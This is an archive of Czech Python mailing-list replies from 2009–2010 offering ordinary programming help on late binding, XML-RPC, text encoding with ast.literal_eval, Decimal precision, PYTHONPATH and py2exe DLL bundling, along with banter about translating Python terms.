Vsadím jablečný koláč proti psímu sucharu, že „notace“ bude z praktického 
užití okamžitě vypuštěna. Je to slovo přesné a výstižné, ale nadbytečné.
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python

Re: [python] Preklad list comprehension?

2010-03-25 Tema obsahu Hynek Fabian
Co máte všichni s těmi generátory?
Je to „výčet seznamu“
(není to z mojí hlavy, ale už nevím kde jsem to poprvé zaslechl)
Trochu hezčejší by byl „vypočítávaný seznam“, ale to už mi přijde dlouhé.

BTW tenhle job ti Petře nezávidím - buď tě jedna polovina lidí prokleje že 
zatahuješ do českého textu cizojazyčné termíny, nebo druhá půlka že vymýšlíš 
čechismy o které nikdo nestojí :-)

Petr Majtan (čtvrtek 25 Březen 2010 10:36:14):
 Ahoj,
 
 napada mne toto:
   seznam vytvaren generatorem
   seznam s pomoci generatoru
   seznam inicializovany generatorem
 nebo jen
   seznam z generatoru
 
 ale je to fakt orisek...

 
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python

Re: [python] Jak byste přeložili Dive Into Pyt hon?

2010-03-17 Tema obsahu Hynek Fabian
Python do hloubky nebo Hlubiny Pythonu.
Podkapitola by se pak klidne mohla jmenovat Potápíme se.

A na obalku patri tohle :-)
http://artfiles.art.com/5/p/LRG/17/1745/JNL3D00Z/huge-octopus-nearly-succeeds-
in-overcoming-american-diver-martin-lund-but-is-eventually-beaten-off.jpg


Přikryl Petr (úterý 16 Březen 2010 23:31:21):
 Po delší odmlce všechny zdravím.
 
 Přemýšlím nad tím, jak by se dal trefně přeložit název známé knihy Dive
 Into Python a úvodní podkapitola v jednotlivých kapitolách Diving In.
 Má někdo nějaký trefný nápad?
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] dokumentace k novejsim rysum jazyka

2010-03-08 Tema obsahu Hynek Fabian
Takova implementace by vyzadovala predem znat a pripravit potencialne veliky 
strom objektu.
Jednodussi je vytvorit si proxy objekt ktery z pretizeneho __getattr__() vraci 
vlastni instance do kterych postupne zaznamenava cestu a nakonec z 
__call__() specifikovanou funkci skutecne zavola.
Mezi nami, v pripade XMLRPC mi to prijde jako spousta zbytecne prace jen kvuli 
tomu, ze tecka je v pythonu specialni znak.

David Rohleder (pondělí 08 Březen 2010 11:51:08):
 Fakt, že jo, měl jsem to skoro dobře, funguje to třeba i takto:
 
 
 class Test:
 pass
 
 def fce():
 print Test
 
 a=Test()
 a.__dict__['test'] = fce
 a.test()

___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] Deferred output

2010-02-12 Tema obsahu Hynek Fabian
matesfila (pátek 12 Únor 2010 10:44:20):
 No to ano, nejaké javistické predsudky mám, keď sa to tak dá nazvať. Ono
 je to ale predsalen tak trochu iný spôsob uvažovania, v skriptivacom jazyku
 oproti kompilovanému. Keď sa k tomu ešte pridá beztypovosť a moja snaha o
Beztypovost je jen další předsudek :-) Python je velice silně typový. Jenom ti 
to žádný kompiler pořád nepřipomíná:
 a + 0
Traceback (most recent call last):
  File stdin, line 1, in module
TypeError: cannot concatenate 'str' and 'int' objects

Jak vidno, interpret přesně ví s jakým typem má tu čest. Nejsnáz se na to 
narazí, když ti vystřelí oblíbený UnicodeDecodeError z něčeho, co jsi do té 
chvíle bez problému považoval za string. Zrada je v tom, že typ není vlastnost 
jména, ale objektu na který to jméno odkazuje. Jméno objektu není nějaká 
abstrakce překladače s vlastní typovou logikou, ale prostě jen nálepka na 
pointeru na objekt (a samo jméno je jen další objekt). Objekt má vždy typ, ale 
nikdo nevynucuje aby ta nálepka ukazovala na objekty stále stejného typu.

Filozoficky vzato je Python mnohem silněji typový než kompilované jazyky.
V C je typ jen iluze překladače, v Pythonu je to bytelný fakt.
(A Java je kočkopes obojího :-)

 funkcionálny štýl programovania, tak je to v podste už úplne totálne iné
 programovanie, ako v Jave  :-)
Velmi doporučuji následující stať, jsou tam pěkně popsané některé filozofické 
rozdíly mezi Pythonem a Javou:
http://dirtsimple.org/2004/12/python-is-not-java.html
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] Deferred output

2010-02-11 Tema obsahu Hynek Fabian


matesfila (čtvrtek 11 Únor 2010 14:47:31):
 Funkcia f, ktorá využíva premennú x, môže byť definovaná ešte predtým, ako
Zapomen na definovani a zjistis ze to tak slozite neni. U podobne 
komplikovanych konstrukci muze byt obtizne domyslet dusledky, ale vsechno to 
vyplyva z jednoduchych pravidel. Nejsou zadne deklarace - krome hrube kontroly 
syntaxe se vsechno provadi v jedine sekvenci (proto v pythonu nejsou zadna 
makra). Kdyz program dojde ke konstrukci def, class nebo =, strci vysledek do 
patricneho jmenneho prostoru. To je cele, jediny co je na tom slozity je 
zbavit se memu 'deklarace' a s tim spojene predstavy kompileru ktery predem 
'zna' strukturu programu. Viz nasledujici primitivni uzavera:
def foo():
def bar():
pass
return bar

Ve staticky kompilovanem jazyku je bar() jedina metoda ve vlastnim oboru 
platnosti. V pythonu neni zadna funkce bar() dokud nezavolam foo(), a pak si 
ji musim predat pomoci return ven ze jmenneho prostoru foo() pokud ji chci 
videt i jinde.
A naopak, kdyz foo() zavolam dvakrat tak interpret dvakrat narazi na 
konstrukci def bar():… a vytvori dve ruzne (!) funkce
a = foo()
b = foo()
a is b  # False


 Pre aké jazyky je vlastné takéto chovanie typické? Súvisí to s
 beztypovosťou jazyka, alebo s tým, že je jazyk skriptovací, alebo s čím
 vlastne?
afaik se tomu rika pozdni vazba (late binding) a je to celkem bezna vlastnost 
skriptovacich jazyku (krome Javy ktera si hraje na kompilaci)
U kompilovanych jazyku se to moc nevyskytuje, protoze kdyz kompiler nevi typ 
toho co kompiluje, tak toho moc nenakompiluje :-) ale neni to podminka - treba 
virtualni metody v C++ jsou castecne pozdni vazba (za cenu toho ze nejsou tak 
uplne staticky kompilovane).

uff to jsem se rozpesul, holt javisticky predsudky je potreba potirat :-)
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python

Re: [python] webová vs. mailová konference (b ylo: test [spam])

2010-02-08 Tema obsahu Hynek Fabian
 Dvě fora by se asi neuživily (jednou to tu již bylo).
Já myslím, že dvě fóra jsou skvělý nápad. Hulváti kterým je zatěžko vyjádřit 
se alespoň přibližně česky a opatřit to předmětem si budou někde chatařit,
když už pro ně registrace do konfery není dostatečně odrazující :-)

A teď  pro změnu vážně - poštovní konferu shledávám mnohem lepší než fórum,
kmail / thunderbird / utlouk / cokoliv… je přehlednější a pohodlnější než web.
Umím si představit, že fórum vypadá líp pro lidi s webmaily, ale není snad tak 
těžké nastavit si POP3/IMAP.
Navíc se mi zdají konfery tak nějak kultivovanější způsob komunikace.
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python

Re: [python] webová vs. mailová konference [L ONG -- sorry; have a tea][had a puerh]

2010-02-08 Tema obsahu Hynek Fabian
ViNiL (pondělí 08 Únor 2010 17:16:26):
 Nejvetsi problem, ktery zde vidim, je, ze s ceskymi firmami je potiz.
 Nechteji nic prozradit -- zvlaste oficialne! Rikaji tomu bezpecnost, ale
 je to jen tajeni nizke kvality.

Překvápko. Nemyslím že by můj chlebodárce měl problém něco prozradit.
Sám vnímám ramenaté řeči představitelů firem spíš jako marketingové kecy, ergo 
nedůvěryhodné, ale jestli to někoho zajímá… Resp. co přesně a koho by 
zajímalo?
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python

Re: [python] spousteni casti kodu jako root

2010-02-05 Tema obsahu Hynek Fabian
capabilities(7) ?
Capabilitu je porad potreba nastavit rootem, ale zachytavajici proces pak muze 
bezet podvlastnim uid.


Tomas Pelka (čtvrtek 04 Únor 2010 19:36:47):
 Zdravim vsechny,
 
 potreboval bych spoustet casti kodu jako root. Nevite nekdo jak na to?
 
 Proc to chci delat? Potreboval bych spoustet scapy pro odchytavani
 paketu, ale jak z namo k tomu potrebuji superuzivatelska opravneni.
 
 Dalsi moznost jak toto provest je udelat si jednoduchy wrapper a ten pak
 spoustet pres sudo. Jina metoda me nenapada.
 
 Diky za rady.
 
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] čtení znaku z =?iso-8859-2?q ?_kl=E1vesnice?=, py2.6.4

2010-01-26 Tema obsahu Hynek Fabian
hledas modul curses nebo pygame

JakubV (úterý 26 Leden 2010 19:09:56):
 Dobrý den,
 poradil by mi někdo způsob jak během cyklu číst znak z klávesnice?
 Nemyslím vstup pomocí input nebo raw_input, ale reakci na
 stisknutou klávesu.
 Určitě existuje nějaké vhodné, obvyklé a elegantní řešení. Dva dny
 prohledávám dokumentaci, ale díky mým malým zkušenostem v Pythonu mě
 nic nenapadá...
 Nějaký vhodný modul/třída/metoda()???
 Děkuji,
 JakubV
 ___
 Python mailing list
 Python@py.cz
 http://www.py.cz/mailman/listinfo/python
 
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] python + XMLRPC/SOAP/REST

2010-01-18 Tema obsahu Hynek Fabian
S XML-RPC mam jediny problem - neni v nem zadna reprezentace None.
A neni zrovna extreme rychly. Na hruby vykon je lepsi FastRPC,
ale nelibi se mi jeho rozhrani - ma vlastni zbytecnou a nesikovnou 
implementaci booleanu a datetime.
Co se implementacnich zkusenosti tyce, doporucuji mit ve volani nejaky
slovnik s atributy - protoze nezalezi na poradi rozsiruje se to snaz nez 
argumenty funkce.

Tomas Pelka (sobota 16 Leden 2010 10:58:14):
 Zdravim konferenci, chtel bych se vas vsech zeptat na nazor na
 nasledujici problematiku.
 
 Vyvstal prede mnou problem tvorby webove sluzby, respektive potrebuji
 zajistit RPC. Proto predpokladam tvorbu serverove a klientske casti
 otazkou ale zustava jakou technologii zvolit.
 
 Zatim se jako nejlepe v pythonu implementovana jevi klasicka XML-RPC,
 tato technologie ma vsak sva omezeni, ze kterych mam obavy.
 
 Jako dalsi prichazeji v uvahu SOAP a REST, ktere mne svymi
 implementacemi nenadchli. Muzete se s emnou podelit o vase zkusenoasti
 s REST a SOAP v pythonu? Tyto technologie by se jako nove a komplexni
 hodily daleko vice.
 
 O co se vlstne bude jednat ve vysledku, tato sluzba by mela ovladat
 linuxovou distribuci ve smyslu spousteni nejakych skriptu a navraceni
 hodnot/vysledku operaci.
 
 Dekuji za nazory.
 ___
 Python mailing list
 Python@py.cz
 http://www.py.cz/mailman/listinfo/python
 
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] Problém s nahráváním knihovny *.pyd do win

2009-09-21 Tema obsahu Hynek Fabian
PYTHONPATH
 Augments the default search path for module files. The format is the same as 
the shell's $PATH: one or more directory pathnames separated by colons. 
Non-existent directories are silently ignored. The default search path is 
installation dependent, but generally begins with 
${prefix}/lib/pythonversion (see PYTHONHOME above). The default search path 
is always appended to $PYTHONPATH. If a script argument is given, the 
directory containing the script is inserted in the path in front of 
$PYTHONPATH. The search path can be manipulated from within a Python program 
as the variable sys.path .

Predpokladam ze wydlacky python bude pouzivat wydlacke konvence, cili misto 
$PYTHONPATH=/a/b:/c/d bude neco jako %PYTHONPATH=A:\B;C:\D


___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] Problém s nahráváním knihovny * .pyd do win

2009-09-21 Tema obsahu Hynek Fabian
MICHÁLEK Jan Mgr. (21.9.09):
 Tam chyba není, python mis právně najde to init, když navíc napíšu jméno
 neexistujícího modulu, vypíše mi to něco jinýho. Chybí mi tam zkrátka
A v tom initu je opet import a ten hleda, jak jsem se snazil naznacit,
v PYTHONPATH, nikoliv v PATH. A bud nenajde vubec, nebo najde ale z nejakeho 
neprilinkuje dllko. 


 nějaká knihovna a já netušim jaká, dependency walker mi našel, že nějaký
 widlácká knihovna (mpr.dll) nemá pořešený export čico, ale stjně si mylim,
 že v tom to není.
Otazka neni co si myslis ty, ale co si mysli pocitac :-) Jestli zminovany 
dependency walker je neco jako linuxove ldd, tak by to mohlo byt ono.
Za mych mladych bourlivych wydlackych casu jsme tohle zkouseli tak, ze jsme 
nekde na netu nasli dotycne dll a strcili ho do adresare s programem.
msvcr70.dll jsem sebou nosil vypalene na cd, abych si usetril hledani...
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] python ast.literal_eval a čeština

2009-09-15 Tema obsahu Hynek Fabian
Chyba je v pouziti ast.literal_eval(). Hle:

 type(ast.literal_eval(unicode('a')))
type 'str'

Z typu unicode se stane typ string, coz je naprosto spravne, protoze modul ast 
vidi pythoni syntaxi 'a' coz je string. To ze parsovany retezec je unicode s 
tim nema nic moc spolecneho a informace o kodovani se ztrati, resp. z pohledu 
pythonu nikdy neexistovala. Predpoklada se tedy, ze zdrojovy retezec je ve 
stejnem kodovani jako program, cili dostanete nikoliv predpokladany unicode 
ale string v systemovem kodovani - je lehke si toho nevsimnout.

Primitivni reseni by bylo nastavit explicitne kodovani programu -*- deklaraci 
v hlavicce a odstranit nadbytecne explictni prekodovani na vystupu.

Spravne reseni by bylo neprasit to modulem ktery je urcen na neco uplne 
jineho. A brat s rezervou tutorialy psane stastlivci z ASCII zemi.

Osobne bych se klonil k reseni pomoci prevence - sestrojit stroj casu a 
vysvetlit Janu Husovi co si o tech jeho novotach myslime. Nanestesti
import timemachine nefunguje, quido si tenhle modul nechava pro sebe :-(


Luboš Melichar (15.9.09):
 Zdravim,
 jsem začátečník a tak dopředu prosím o trpělivost..

 Zkouším toto, v souboru mít uložený slovník, případně pole slovníků..

 {'cz': 'hezký', 'en': 'nice', 'de': 'schön'}

 vyčíst ze souboru, převést na slovník, pracovat s ním, uložit

 #VYCTENI ZE SOUBORU
 f = open(db.db)
 text = unicode(f.read(),('cp1250'))
 f.close()

 #PRACE S DB
 db =  ast.literal_eval(text)   #prevod stringu na seznam slovniku
 db['maďarština'] = 'keřmideretvář'

 #ZAPIS DO SOUBORU
 text2 = str(db)
 f = open(db2.db)
 f.write(text2.encode('cp1250'))  #ulozeni
 f.close()

 bohuzel s cestinou mam neprekonatelny problem, ve vystupnim souboru se
 mi to uklada v unicodu.
 kodovani v obou souborech mam samozrejme cp1250.

 diky za popostrceni
 ___
 Python mailing list
 Python@py.cz
 http://www.py.cz/mailman/listinfo/python

___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] XMLRPC a unicode

2009-06-12 Tema obsahu Hynek Fabian
Pythoni string se prenasi jako textovy typ kodovany v unicode.
K prenosu binarnich dat slouzi typ xmlrpclib.Binary().

slush (12.6.09):
 Zda se, ze by to i mohlo fungovat, bohuzel na port potrebuji posilat
 binarni data. A zde jsem narazil na problem s kodovanim znaku u
 knihovny xmlrpclib. Pri snaze zapsat binarni data mi to vrati tento
 traceback:


___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] Porovnávání v py 0.20.2 True? ???

2009-05-07 Tema obsahu Hynek Fabian
 nechci použít zaokrouhlování, co s tím můžu udělat?

import decimal
decimal.Decimal(0.2)

Je to pomale, ale presnost se da nastavit a neztraci se.


___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] py2exe, nereagující Qt program

2009-03-17 Tema obsahu Hynek Fabian
Jestli wydle funguji jako za mych mladych let, staci pribalit msvc dllko do 
adresare s exacem. Pokud uz je ta knihovna v systemu (99% IMO), pouzije se 
ta. Jinak se najde zalozni v adresari s programem. Nevim jak si stoji 
visty, ale v 98kach blahe pameti a ve wine jsem to delal bezne.


Martin Stiborský (17.3.09):
 Áha. Takže (Py)Qt zdá se pro běh pod okny potřebuje tuhle šílenost:
 http://www.microsoft.com/downloads/details.aspx?familyid=9B2DA534-3E03-4391
-8A4D-074B9F2BC1BFdisplaylang=en To musím nějak napasovat přímo do
 zmraženého balíku ..

 2009/3/17 Martin Stiborský martin.stibor...@gmail.com:
  Kdyby se náhodou někomu chtělo, zkuste prosím program spustit pod XP,
  pořád to nějak není ono, tak to potřebuji vychytat, teď mi jde o
  samotné spuštění ..
  download: http://moodleed.googlecode.com/files/MoodleEd_win.zip
 
  --
  S pozdravem
  Martin Stiborský
 
  Jabber: st...@njs.netlab.cz
  ICQ: 224-065-849

___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] py2exe, nereagující Qt program

2009-03-12 Tema obsahu Hynek Fabian
Je tam nejakej pitomej ajax. V konqueroru to vypada prazdny, v opere a 
firefoxu ne.

Martin Stiborský (12.3.09):
 2009/3/12 Ondrej Beranek rain...@gmail.com:
  já to nevidim ani teď...

 Tady nic není ? http://code.google.com/p/moodleed/source/browse/#svn/trunk

___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python